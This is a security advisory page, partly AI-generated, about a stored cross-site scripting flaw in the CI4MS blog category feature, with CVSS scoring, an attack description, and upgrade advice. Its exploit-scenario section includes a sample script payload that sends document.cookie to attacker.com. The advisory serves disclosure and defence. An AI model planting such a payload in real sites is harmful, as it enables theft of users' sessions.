EUVD-2026-18084
GHSA-fhrf-q333-82fm
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
4DescriptionGitHub Advisory
CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.0.0, the application fails to properly sanitize user-controlled input when creating or editing blog categories. An attacker can inject a malicious JavaScript payload into the category title field, which is then stored server-side. This stored payload is later rendered unsafely across public-facing blog category pages, administrative interfaces, and blog post views without proper output encoding, leading to stored cross-site scripting (XSS). This issue has been patched in version 0.31.0.0.
AnalysisAI
Stored cross-site scripting in CI4MS blog category management allows authenticated users to inject malicious JavaScript that executes across multiple application contexts including public blog pages and administrative interfaces. Affecting all versions prior to 0.31.0.0, attackers with low-privilege authenticated access can achieve scope change with high impact to confidentiality, integrity, and availability (CVSS 9.9). …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Authenticated user with blog category creation/editing privileges in CI4MS versions prior to 0.31.0.0. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 9.9 Critical rating reflects genuine severity driven by scope change and the multi-context impact of stored XSS in a CMS environment. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with low-privilege authenticated access to a CI4MS installation navigates to the blog category management interface and creates a new category with title containing a stored XSS payload such as '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'. The application stores this unsanitized input in the database. … |
| Remediation | Upgrade immediately to CI4MS version 0.31.0.0, which includes comprehensive input sanitization and output encoding fixes for the blog category management functionality. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Inventory all CI4MS instances and document current versions. …
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